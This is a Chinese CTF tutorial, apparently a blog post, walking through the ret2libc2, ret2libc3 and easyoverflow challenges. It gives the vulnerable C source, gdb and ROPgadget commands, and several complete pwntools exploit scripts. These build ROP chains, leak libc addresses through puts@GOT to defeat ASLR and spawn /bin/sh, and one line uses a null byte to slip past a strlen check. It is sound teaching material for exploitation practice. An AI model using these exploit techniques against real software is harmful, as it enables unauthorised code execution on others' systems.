web选手入门pwn(4)
2022-7-21 16:20:7 Author: 珂技知识分享(查看原文) 阅读量:45 收藏

1.    ret2libc2
#include <stdio.h>#include <stdlib.h>#include <time.h>
char buf2[100];
void secure(void){ int secretcode, input; srand(time(NULL));
secretcode = rand(); scanf("%d", &input); if(input == secretcode) system("no_shell_QQ");}
int main(void){ setvbuf(stdout, 0LL, 2, 0LL); setvbuf(stdin, 0LL, 1, 0LL);
char buf1[100];
printf("Something surprise here, but I don't think it will work.\n"); printf("What do you think ?"); gets(buf1);
return 0;}

https://github.com/ctf-wiki/ctf-challenges/blob/e3096c90f0e240e19f905ac5670b0984fb1ff29e/pwn/stackoverflow/ret2libc/ret2libc2/ret2libc2
和ret2libc1唯一不同的是少了/bin/sh的全局变量,所以这题的思路是写入将/bin/sh写入bss段的buf2全局变量中。
如何做到这一点呢?注意gets(buf1),这时我们与之交互输入AAAAAAAAAA的字符串,如果将AAAAAAAAAA变成gets(buf2)不就可以了吗?
那么我们要实现的代码就是gets(buf2);system(buf2);,栈结构如下

这不还是没传入/bin/sh吗?但其实在执行第二个gets()时,程序会要求你继续交互,这个时候输入/bin/sh,buf2就变成我们想要的值了。
先将三个需要的地址查出来。
gdb ret2libc2
print gets
print system
print &buf2

这里pwntools也可以做到
#!/usr/bin/env pythonfrom pwn import *
sh = process("./ret2libc2")elf = ELF("./ret2libc2")system_addr = elf.plt["system"]gets_addr = elf.plt["gets"]buf2_addr = elf.symbols["buf2"]print(hex(system_addr))print(hex(gets_addr))print(hex(buf2_addr))
payload = "A"*112+p32(gets_addr)+p32(system_addr)+p32(buf2_addr)+p32(buf2_addr)sh.sendline(payload)sh.sendline("/bin/sh\x00")sh.interactive()

但这里有个问题,由于实现的ROP链刚好是两个简单函数,所以可以gets-system-buf2-buf2,如果存在多个链比如gets-system-exit-buf2-buf2-0呢?
这样显然就不行了,我们需要一个可以单独来执行单个函数的链,就需要用到前面说的pop|ret链来过渡一下。
如下图,当执行完gets(buf2),返回到pop ebx; ret地址,然后buf2被写入ebx中,返回到system()地址,执行system(buf2)。其中buf2被写入ebx是无用操作,仅仅是为了清理掉栈中的第一个buf2地址。这样写更加通用,以应对后面出现的更加复杂的ROP链。

ROPgadget --binary ./ret2libc2 --only "pop|ret"

拿无关的ebx或者ebp过渡都行。
#!/usr/bin/env pythonfrom pwn import *
sh = process("./ret2libc2")elf = ELF("./ret2libc2")system_addr = elf.plt["system"]gets_addr = elf.plt["gets"]buf2_addr = elf.symbols["buf2"]pop_ebx_addr = 0x0804843dprint(hex(system_addr))print(hex(gets_addr))print(hex(buf2_addr))
payload = "A"*112+p32(gets_addr)+p32(pop_ebx_addr)+p32(buf2_addr)+p32(system_addr)+"BBBB"+p32(buf2_addr)sh.sendline(payload)sh.sendline("sh\x00")sh.interactive()


2.    ret2libc3
#include <stdio.h>#include <stdlib.h>#include <time.h>
char buf2[100];
void secure(void){ int secretcode, input; srand(time(NULL));
secretcode = rand(); scanf("%d", &input); if(input == secretcode) puts("no_shell_QQ");}
int main(void){ setvbuf(stdout, 0LL, 2, 0LL); setvbuf(stdin, 0LL, 1, 0LL);
char buf1[100];
printf("No surprise anymore, system disappeard QQ.\n"); printf("Can you find it !?"); gets(buf1);
return 0;}

https://github.com/ctf-wiki/ctf-challenges/tree/e3096c90f0e240e19f905ac5670b0984fb1ff29e/pwn/stackoverflow/ret2libc/ret2libc3
和ret2libc2相比,secure函数中没有了system,但提供了一个libc.so文件,意思就是让你找到libc.so中的system真实地址。由于main函数一定执行了__libc_start_main,所以可以通过向puts传递__libc_start_main的got地址,来泄露__libc_start_main的真实地址。再通过这个地址反查libc版本,由于libc中的函数相对位置是一定的,因此最终可获取system函数的地址。
这里可以在gdb中直接查看got表(在实际做题时远程环境和got表不一致)。
gdb ret2libc3
b main
r
got

当然,pwntools也完全能做到。

第一步,先获取__libc_start_main的真实地址

#!/usr/bin/env pythonfrom pwn import *
sh = process("./ret2libc3")elf = ELF("./ret2libc3")
puts_plt=elf.plt['puts']libc_start_main_got=elf.got['__libc_start_main']#print(hex(puts_plt))#print(hex(libc_start_main_got))
payload = "A"*112+p32(puts_plt)+"BBBB"+p32(libc_start_main_got)sh.sendlineafter('!?', payload)
libc_start_main_addr=u32(sh.recv(4))print(hex(libc_start_main_addr))
这里send必须以交互的字符串为锚点,u32和recv(4)是因为泄露的内存很多,需要提取前4个字节进行解析。

0xf7d7a820,只取后3位也就是820拿去https://libc.blukat.me/查询。

有两个结果,有时候可能结果会更多,因此最好需要两个地址互相印证,另外一个地址一般选puts,因为它也是必用了的函数之一。
#!/usr/bin/env pythonfrom pwn import *
sh = process("./ret2libc3")elf = ELF("./ret2libc3")
puts_plt=elf.plt['puts']puts_got=elf.got['puts']#print(hex(puts_plt))#print(hex(libc_start_main_got))
payload = "A"*112+p32(puts_plt)+"BBBB"+p32(puts_got)sh.sendlineafter('!?', payload)
libc_start_main_addr=u32(sh.recv(4))print(hex(libc_start_main_addr))

0xf7e2b4c0,拿去网站联合查询,却发现不存在。

这是因为环境原因,kali的so可能经过魔改或者冷门并未被网站收录。
于是更换到ubuntu环境(后面还有kali上的复现方法),找到两个got地址。

成功找到libc.so

那么exp可以写出了吗?还不行。我们运行多次get_main.py或者get_puts.py就会发现每次地址随机,后三位不变。

又是ALSR的原因,关闭之后重新get_puts/get_main。

那么这样就能轻松写出getshell的exp了。
#!/usr/bin/env pythonfrom pwn import *
sh = process("./ret2libc3")elf = ELF("./ret2libc3")
puts_addr = 0xf7e50460 libc_startmain_addr = 0xf7e01e30
#libc6-i386_2.27-3ubuntu1.4_amd64libc_startmain = 0x018e30libc_puts = 0x67460libc_system = 0x03ce10libc_binsh = 0x17b88f
libc_base = libc_startmain_addr - libc_startmainlibc_base2 = puts_addr - libc_putsprint(libc_base)print(libc_base2)system_addr = libc_base + libc_systembinsh_addr = libc_base + libc_binsh
payload = "A"*112+p32(system_addr)+"BBBB"+p32(binsh_addr)sh.sendlineafter('!?', payload)sh.interactive()


但很明显,漏洞环境是不会给你关ALSR的,因此要想其他办法,比如在retlibc3一次运行中就完成puts/__libc_start_main的泄露,传递给python计算出正确地址,然后完成溢出。开debug如下。
#!/usr/bin/env pythonfrom pwn import *
context.log_level = 'debug'
sh = process("./ret2libc3")elf = ELF("./ret2libc3")
puts_plt = elf.plt['puts']got_puts = elf.got['puts']main = elf.symbols['main']
payload1 = "A"*112+p32(puts_plt)+p32(main)+p32(got_puts)sh.sendlineafter('!?', payload1)puts_addr = u32(sh.recv(4))print('puts_addr: '+hex(puts_addr))
#libc6-i386_2.27-3ubuntu1.4_amd64libc_startmain = 0x018e30libc_puts = 0x67460libc_system = 0x03ce10libc_binsh = 0x17b88f
libc_base = puts_addr - libc_putssystem_addr = libc_base + libc_systembinsh_addr = libc_base + libc_binsh
payload2 = "A"*104+p32(system_addr)+"BBBB"+p32(binsh_addr)sh.sendlineafter('!?', payload2)sh.interactive()


整个流程如下
从ret2libc3中获取puts的ptl表地址,puts的got表地址,main函数的地址。
程序执行,询问Can you find it。
输入shellcode1第一次溢出,第一次溢出执行puts(puts);ret main;,会将puts的got表地址打印出来,再返回到main函数。
既然到了main函数,会再次询问Can you find it。
计算出system和/bin/sh地址,获得shellcode2。
输入shellcode2,进行第二次溢出,执行system('/bin/sh ')

此处唯一的疑惑点就是为什么第二次溢出只需要填充104个字节而不是112?这里需要gdb调试,比较麻烦,最后再讲。

除了我们手动在https://libc.blukat.me/上查询,还有一个本地的python库也可以帮我们完成查询,它叫LibcSearcher。
https://github.com/lieanu/LibcSearcher
安装后就可以参考CTF的标准答案进行溢出了,由于单个地址搜索会出现两个libc.so,所以中途要选择一下。
https://github.com/ctf-wiki/ctf-challenges/blob/e3096c90f0e240e19f905ac5670b0984fb1ff29e/pwn/stackoverflow/ret2libc/ret2libc3/exploit.py

我们回过头来用kali,发现kali不管是网站查询libc还是用LibcSearcher都无法帮助我们完成本地溢出,因此我们必须采取第三种方法,就是直接在本地的libc.so上找出puts/system/binsh等地址。这也是为什么CTF会提供一个libc.so的原因,这个libc.so就是远程溢出端口上使用的so,方便你直接研究它来确定地址,而不是非得用puts来泄露。
首先用ldd来确定kali上用的是哪个so,然后将其复制出来。
ldd ret2libc3
ls -alt /lib/i386-linux-gnu/libc.so.6
cp /lib/i386-linux-gnu/libc-2.33.so ./

代码如下。
#!/usr/bin/env pythonfrom pwn import *
#context.log_level = 'debug'
sh = process("./ret2libc3")elf = ELF("./ret2libc3")libc = ELF("./libc-2.33.so")
puts_plt = elf.plt['puts']got_puts = elf.got['puts']got_libc_startmain = elf.got['__libc_start_main']main = elf.symbols['main']
payload1 = flat( [b'A'*112, puts_plt, main, got_puts] )sh.sendlineafter('!?', payload1)puts_addr = u32(sh.recv(4))print('puts_addr: '+hex(puts_addr))
#kalilibc_puts = libc.sym['puts']libc_system = libc.sym['system']libc_binsh = libc.search('/bin/sh').next()
libc_base = puts_addr - libc_putssystem_addr = libc_base + libc_systembinsh_addr = libc_base + libc_binsh
payload3 = flat( [b'A'*104, system_addr, 'BBBB', binsh_addr] )sh.sendlineafter('!?', payload3)
sh.interactive()

最后再来解决104的问题,使用gdb来看看到底发生了什么。
还是像ret2stack一样,手动python,在gdb和python两者之间切换来调试。
python
from pwn import *
context.log_level = 'debug'
sh = gdb.debug("./ret2libc3")

gdb
b main(可能要输两次)
c
n
n
n

n(到交互的地方停下来)
python
elf = ELF("./ret2libc3")
libc = ELF("./libc-2.33.so")
puts_plt = elf.plt['puts']
got_puts = elf.got['puts']
got_libc_startmain = elf.got['__libc_start_main']
main = elf.symbols['main']
payload1 = flat( [b'A'*112, puts_plt, main, got_puts] )
sh.sendlineafter('!?', payload1)
puts_addr = u32(sh.recv(4))

gdb
stack 50
p/d 0xfface87c-0xfface80c

此时可以清晰的看到puts(puts);ret main被我们成功执行,现在继续。
gdb
c
n
n
n
n
(到交互的地方停下来)
python
sh.sendlineafter('!?', 'AAAA')
gdb
stack 50

p/d 0xfface884-0xfface81c

可以通过这种调试的方法把104确定下来,具体原理是因为在main()之前还有_start(),直接跳转到main会少一个栈对齐指令,导致esp多了8位,栈少了8位。

因此这种情况还可以用_start代替main,两次都用112填充,成功溢出。

#!/usr/bin/env pythonfrom pwn import *
#context.log_level = 'debug'
#sh = gdb.debug("./ret2libc3")sh = process("./ret2libc3")elf = ELF("./ret2libc3")libc = ELF("./libc-2.33.so")
puts_plt = elf.plt['puts']got_puts = elf.got['puts']got_libc_startmain = elf.got['__libc_start_main']main = elf.symbols['_start']
payload1 = flat( [b'A'*112, puts_plt, main, got_puts] )sh.sendlineafter('!?', payload1)puts_addr = u32(sh.recv(4))print('puts_addr: '+hex(puts_addr))
#kalilibc_puts = libc.sym['puts']libc_system = libc.sym['system']libc_binsh = libc.search('/bin/sh').next()
libc_base = puts_addr - libc_putssystem_addr = libc_base + libc_systembinsh_addr = libc_base + libc_binshpayload3 = flat( [b'A'*112, system_addr, 'BBBB', binsh_addr] )sh.sendlineafter('!?', payload3)
sh.interactive()

10.    easyoverflow

脑筋急转弯题。
ida64反编译

这题用的fgets没有溢出,要求buf长度小于64,unescaped长度大于64才会触发printFlag()。
所以题目的关键就是unescape ()。

查看代码,发现和函数名一致,其是转义方法。即将\r\n\x41这种字符串转义。来测试一下。
(python -c 'print "B"+"\\x20"+"A"*50'; cat -) | ./easyoverflow

那么我们很容易想明白,如果该题要求strlen(buf)>64,strlen(unescaped)<64的话,这题就非常简单。因为\x20在buf中占4字节,经过转义在unescaped只占1字节。

但题目确是要求strlen(buf)<64,strlen(unescaped)>64,转义函数并不能延长字符串。
所以要利用strlen的一个特性,%00截断(web选手简直太熟悉了,旧版php,旧版java都有的一个漏洞)。

可以看到,算上\x00,明明有66位之多,却还是过了strlen(buf)<64,而且经过unescape()处理,unescaped就只剩下一个B了,这两个函数对\x00都进行了不符合预期的处理。
那么输入\x[\x00]B呢,strlen(buf)那边走到\x00就会截断了,自然小于64位。而unescape()会将\x00和B一起当作\x后面两位进行转义,导致消除了\x00。再在后面填充足够多的位数,就可以过strlen(unescaped)>64了。
(python -c 'print "\\x"+"\x00"+"B"*64'; cat -) | ./easyoverflow

理论上这里B换成其他任意字符填充都行,但0A不行,未知原因,可能和unescape()处理有关。


文章来源: http://mp.weixin.qq.com/s?__biz=MzUzNDMyNjI3Mg==&mid=2247485450&idx=1&sn=2013b965d92e585d80d7230a07471d80&chksm=fa973565cde0bc73791f860b8d1066e43a838e7219f69212adf453ef5e7f5a41b4164b931e8c#rd
如有侵权请联系:admin#unsafe.sh